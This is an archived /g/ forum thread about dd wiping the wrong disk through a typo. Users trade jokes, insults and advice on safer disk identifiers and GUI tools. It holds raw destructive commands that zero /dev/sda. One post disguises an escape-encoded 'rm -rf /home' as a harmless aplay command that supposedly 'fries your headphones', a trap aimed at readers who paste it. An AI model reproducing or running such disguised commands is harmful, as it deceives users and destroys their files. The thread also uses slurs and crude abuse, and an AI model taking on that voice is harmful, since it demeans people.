← Home ← Back to /g/

Thread 107056667

79 posts 18 images /g/
Anonymous No.107056667 [Report] >>107056693 >>107056731 >>107056746 >>107056786 >>107056848 >>107056880 >>107056995 >>107057702 >>107057767 >>107058617 >>107060255 >>107060317 >>107060710 >>107061143 >>107061176 >>107061206 >>107061210 >>107063411 >>107063448 >>107063508 >>107064072 >>107064281 >>107064316 >>107068146 >>107068193 >>107068235 >>107068683
>mispells a single letter
>deletes entire disk
Anonymous No.107056686 [Report] >>107056757 >>107063361 >>107068881
OH NO!
YOU PUT A I WHERE ITS AN l
LETS DELETE EVERY FILE AND UP THE VOLTAGE ON YOUR CPU AND FRY YOUR GPU AND RAM IN THE PROCESS!!!!!!
Anonymous No.107056693 [Report] >>107056729 >>107056766 >>107060317 >>107063361
>>107056667 (OP)
Spoonfeed me please.
t.windows user
Anonymous No.107056729 [Report] >>107056759 >>107060317 >>107060989 >>107064316 >>107066837 >>107068797
>>107056693
Well like if you have two drives
/dev/sda and /dev/sdb
You do dd if=linux.iso of=/dev/sda
Bug that one was your windows drive
Its now gone and you just installed linux on it
Anonymous No.107056731 [Report]
>>107056667 (OP)
>run dd if=/dev/zero of=/dev/sda
>nothing happens
Anonymous No.107056746 [Report]
>>107056667 (OP)

using dd as memory card speed tester
Anonymous No.107056757 [Report] >>107070605
>>107056686
Who uses i's in their drive names, let alone capital letters? Who uses a terminal font with ambiguous characters? Why are you confused about characters you type into terminal?
Anonymous No.107056759 [Report] >>107056774
>>107056729
Thanks sda, sdb, sdc, sdd... I mean it's similar on windows with c drive and d and so on
Anonymous No.107056766 [Report] >>107056939 >>107060317
>>107056693
Imagine telling your intern to format the D: drive but you did a typo and tell him to format C: instead.
Anonymous No.107056774 [Report] >>107061165
>>107056759
The only real "issue" is that partitions are named sda1, sda2, so if you're absolutely retarded, and try to zero a partition, you may accidentally aim it at the whole drive. This isn't a dd issue. You could do this using cp (copy) as well if you were dumb.
I have never met anyone this retarded in person. But your typical /g/ user is extra retarded, so one of them probably has
Anonymous No.107056786 [Report] >>107056821 >>107056848 >>107057958 >>107061198 >>107068873 >>107070636
>>107056667 (OP)

It is absurd how unforgiving and unfriendly unix programs are. It's not that they have to be so by design, but the issue is the developers are lazy. It's nothing more or less than this. When I develop my website, whenever there is a lack of some function that would be useful, it's not that I don't want to put it there in case it becomes too bloated. No, the problem is that I don't have the time or skill to do it.

I feel like unix developers try to hide this fact because most of them are unemployed or students (well, they are in university for the 12th year going on) and they don't have any excuse for the lack of effort. They have the time, maybe even the skill, but it's easier to do something fun that work. So they adopt this hard line approach into everything thinking it fools people to think that they are visionary, but really, they are just lazy.

This point can be proven by voluntarily offering to make something better, and getting declined because the lazy dev doesn't want to make himself look lazy and/or incompetent. But it's just that. You don't even have to be some full-stack engineer, anyone who has ever churned even html can identify with this.
Anonymous No.107056821 [Report] >>107056858 >>107056869
>>107056786
>develop my website
Webdev opinion discarded. Its not UNIX's fault that you need thirty layers and a linter to make sure you don't shit your diaper
Anonymous No.107056848 [Report]
>>107056667 (OP)
Well that's why they call it "disk destroyer".
Use a better, more beginner friendly tool if you don't want to take the risk.
>>107056786
Every standard "noob friendly" installation of Linux I've used has come with a built-in, GUI based tool for creating bootable USBs and manipulating disk partitions etc.
The only time I've needed to use dd was when I was using a more bare-bones system that didn't come with any of these extra tools.
Anonymous No.107056858 [Report]
>>107056821

You say that as what, a python developer?
Anonymous No.107056869 [Report] >>107056962
>>107056821
No its an easy fix.it should be dd source=linux.iso target=‘hard drive “label”
The lack of letters is from the unix days back when they couldnt afford the bytes to write entire words
Anonymous No.107056880 [Report]
>>107056667 (OP)
Maybe a computer is not for you, maybe an ipad would suit you better.. something like your iphone? you know iphone?
Anonymous No.107056939 [Report] >>107060317
>>107056766
This is why I hate doing stuff like that using the command line. If you make a typo accidentally, your shit is gone. It's harder to click on C instead of D accidentally.
Anonymous No.107056962 [Report] >>107056986
>>107056869
No, it comes from a file being a file. Your syntax makes no damn sense (and even an unclosed quote). If you need labels, there is /dev/disk/by-label/. There are also directories for by-uuid and any other thing you can image. But that would require knowing anything other than the js framework of the week :)
Anonymous No.107056986 [Report] >>107057014
>>107056962
Have os prober make the label
Anonymous No.107056995 [Report]
>>107056667 (OP)
Don't use dd btw, just use cp, it's much faster (you could even use cat and it would be faster than dd)
Anonymous No.107057014 [Report]
>>107056986
Fair enough, but its not a dd issue.
Anonymous No.107057296 [Report]
I did that once. Accidentally wrote the installer to the Windows 7 ssd I was running instead of the thumb drive. I haven't tried poking around that old disk since that happened 10 years ago. I wonder if I even lost much data at all? That was my primary NEET thinkpad during 2012-2015.
Anonymous No.107057454 [Report]
Use -i
Anonymous No.107057702 [Report] >>107061023
>>107056667 (OP)
>have a bazillion GUI tools
>i want to use dd directly!
>fuck up the command like a retard (lol)
>WTF LINUS SUX!!!!
Anonymous No.107057767 [Report]
>>107056667 (OP)
If you use your administrator permissions on windows or macos, you can do 1:1 same and destroy the whole OS with one typo. Stfu baby duck retard. Stockholm LGBT syndrome Windows c7uck.
Anonymous No.107057958 [Report] >>107061198
>>107056786
dd is one of the most ruthless utilities
i agree that there isn't much of an airbag if you fuck up unix commands in general, but dd is kind of an outlier

what even is the usecase for dd? fully imaging your system as a backup? i feel like that's the only real use
Anonymous No.107058617 [Report]
>>107056667 (OP)
thats why you have the choice of /dev/disk/by-id/
i think udev provides these interfaces.


i never did it myself though, i still use /dev/sdx for dd.

now, these labels can change so take care.
i guess /dev/disk/by-id has the least risk of changing.
Anonymous No.107060208 [Report]
You could always check your drives with something like gparted and take literally a second to double check that the device matches before you press enter and run a command that erases an entire drive.
Anonymous No.107060255 [Report]
>>107056667 (OP)
Why not just use a normal GUI partitioning tool?
Anonymous No.107060317 [Report] >>107061839 >>107064133 >>107064369
>>107056667 (OP)
>>107056693
>>107056729
>>107056766
>>107056939
I'd like to believe most instances of these mistakes could be prevented with a confirmation prompt.
Anonymous No.107060710 [Report]
>>107056667 (OP)
no real reason to use this instead of rufus/etcher that isn't geekcred
Anonymous No.107060812 [Report]
>uses basic command line utility over a gui
>"OMG why is this so unfriendly to beginners"
/g/tards have to wear a helmet around the house to not kill themselves running against a door. You people are legit useless. Literally the same problem you'd have using a windows' diskpart
Anonymous No.107060822 [Report]
linuxtroons on suicide watch
Anonymous No.107060893 [Report]
Imagine being such a brainrotten zero attention span zoomer that you can't read the line you just typed into the terminal a second time before you hit enter and then verify your action again by typing in your password. Not to mention that none of this is even an issue in the first place if you did proper backups regularly like literally everyone told you to.
Anonymous No.107060899 [Report] >>107065508 >>107068067
aplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"


>fries your headphones
nothin' personnel, kid
Anonymous No.107060989 [Report]
>>107056729
>Bug that one was your windows drive
>Its now gone and you just installed linux on it
feature.
Anonymous No.107061023 [Report]
>>107057702
/thread
Anonymous No.107061143 [Report]
>>107056667 (OP)
cmd lets you fuck up your disk, too
not really sure what your point is here and if its "well you need to use the terminal in linux" then its clear you haven't tried linux in the last 15 years lmfao
Anonymous No.107061165 [Report]
>>107056774
mv * /dev/zero
Anonymous No.107061176 [Report]
>>107056667 (OP)
If you ever touch disk destroyer you better have a steady hand and no small amount of tension in you.
If you failed at that then your own failing. Time to put the bumpers up before you bowl.
Anonymous No.107061198 [Report] >>107061809
>>107056786
>This point can be proven by voluntarily offering to make something better
let me guess, when you did this you have given backwards compatibility exactly 0 seconds of thought
>>107057958
>what even is the usecase for dd?
you can write an .iso to an usb drive very quickly, but that usecase is deprecated by ventoy
Anonymous No.107061206 [Report]
>>107056667 (OP)
>"NOOOOO MOMMY PUT THE GUARD RAILS DOWN AND I BROKE MY TOY!!!"
Wintards really are
Anonymous No.107061210 [Report]
>>107056667 (OP)
yep, linux is not for plebeians, just how it is
Anonymous No.107061809 [Report] >>107063347
>>107061198
>let me guess, when you did this you have given backwards compatibility exactly 0 seconds of thought

Why is this a factor? Can you give me a real world example?
Anonymous No.107061839 [Report] >>107064133
>>107060317
>I'd like to believe most instances of these mistakes could be prevented with a confirmation prompt
I'd have liked to believe that too, but I have actually made mistakes where I overwrote shit on a prod server despite there being a confirmation prompt.
Anonymous No.107063136 [Report]
idea: how about you use root only to give yourself write perms on the block device(s), then go back into normal user where you can now not do an action you'd regret even if you somehow tripped on the keyboard and also didn't notice
Anonymous No.107063347 [Report] >>107064119
>>107061809
thanks for proving my point
Anonymous No.107063361 [Report]
>>107056686
>UP THE VOLTAGE ON YOUR CPU AND FRY YOUR GPU AND
christ, shills are getting both more desperate and more schizophrenic with every passing post>>107056693
Anonymous No.107063411 [Report] >>107063472
>>107056667 (OP)
I hate Troonix as much as the next guy who isn't generationally welfare dependent, but these sorts of scenarios are more because your average Troonix user is a braindead tard.
Remember, most Troonix users became so because they couldn't disable Windows updates or search highlights, or the latest version simply didn't run on their trashpicked shitbox - all issues that a child with an IQ over 70 could resolve.
Anonymous No.107063448 [Report]
>>107056667 (OP)
This is correct and good. Computers must always be subservient to men. If I tell my computer to corrupt my drive it should obey without question. It is not a computer's place to second-guess its superiors. If you are too incompetent to wield this power you should hire a professional sysadmin to wield it for you.

You should have standard procedures for operating on raw devices anyway. Make a symlink, then dd the symlink after you've confirmed it's pointing to the right place.
Anonymous No.107063472 [Report]
>>107063411
>"actually troonix are dumb for not failing at typing a simple command"
Anonymous No.107063508 [Report]
>>107056667 (OP)
That's actually based. Linux is not for weak soibois who don't put attention.
Anonymous No.107064072 [Report]
>>107056667 (OP)
That is user error, and there is now way of fixing this without severely restricting user freedom which is a no go. You can set up a permissions scheme as the admin of your system, or be careful when using the command but the responsibility is yours, since that comes with the freedom the OS provides, it's not an issue but an user error.

Git gud scrub
Anonymous No.107064119 [Report]
>>107063347

Likewise to you for proving mine.2
Anonymous No.107064133 [Report]
>>107060317
the confirmation prompt won't save you from human error as >>107061839 said
Anonymous No.107064281 [Report]
>>107056667 (OP)
>use hammer drill on wall without checking
>hit water pipe
>entire apartment gets flooded
>WTF? THIS DRILL IS SO USER UNFRIENDLY!!
Anonymous No.107064316 [Report]
>>107056729
>>107056667 (OP)
Stop using the path to the drive name. Use that path to the label instead:
dd if=linux.iso of=/dev/disk/by-label/HDD8TB
Anonymous No.107064369 [Report]
>>107060317
>program now requires confirmation
>still has to work in scripts, so add a flag to bypass confirmation prompt
>new flag is added to everyday use and suggested every time
Although I admit, --no-preserve-root worked well to save the bottom of the barrel, probably because it was made so wordy on purpose.
Anonymous No.107064409 [Report]
I'll just use an OS that doesn't have 100000000 ways to rape your computer like Troonix does, thank you.
Anonymous No.107065508 [Report]
>>107060899
YOU BENCHOOOOOD *gets redeemed*
Anonymous No.107066837 [Report] >>107068618
>>107056729
I do not understand what this sentence is trying to say
uh oh i deleted my post No.107066845 [Report] >>107067631








Anonymous No.107067631 [Report]
>>107066845
what the fuck
Anonymous No.107068067 [Report]
>>107060899
>Not dd-ing /dev/sda
Weak
Anonymous No.107068146 [Report] >>107068760
>>107056667 (OP)
I'm not about to check, but won't dd-ing a mounted device fail with a "device or resource busy" error?
Anonymous No.107068193 [Report]
>>107056667 (OP)
Anonymous No.107068235 [Report] >>107068519
>>107056667 (OP)
just restore your backup
Anonymous No.107068519 [Report]
>>107068235
>backup
uhh what?
Anonymous No.107068618 [Report]
>>107066837
Because it was written by a corporate shill in the third world who's getting paid like 5 rupees per post.
Anonymous No.107068683 [Report]
>>107056667 (OP)
>miswords a single sentence
>deletes entire world
Anonymous No.107068760 [Report]
>>107068146
Not on Linux.
OpenBSD does make raw disk devices of mounted filesystems read-only with securelevel 1, which is the default.
Anonymous No.107068797 [Report] >>107068803 >>107068809
>>107056729
What if I have three drives? sda sdb and sdc. sdc is my "precious memories" drive and it's full of irreplaceable photos and videos of my family. sdb is a random shit drive. however only sometimes because sdb and sdc love to swap around randomly.
Anonymous No.107068803 [Report] >>107068856
>>107068797
>however only sometimes because sdb and sdc love to swap around randomly.
Configure your shit correctly.
Anonymous No.107068809 [Report] >>107068856
>>107068797
have you considered not using sd* and using a more stable identifier like disk-id?
Anonymous No.107068856 [Report]
>>107068803
no it's random

>>107068809
I mount by UUID but I always have to be careful that it hasn't swapped again after a reboot.
Anonymous No.107068873 [Report]
>>107056786
Is not for retards, you little kiddo.
Anonymous No.107068881 [Report]
>>107056686
Font issue, get one created for people by people, not by some retard faggots.
Anonymous No.107070605 [Report]
>>107056757
well if you have 12+ scsi drives in your machine then you'll have an sdi and an sdl
Anonymous No.107070636 [Report]
>>107056786
there's a bunch of simple graphical tools for writing images to removable media, similar if not the same as ones you find on windows
it's not like you have to use dd (really, i wouldn't even recommend it, it's pretty archaic and if you aren't using it's conv/skip/seek/etc options then there's better options)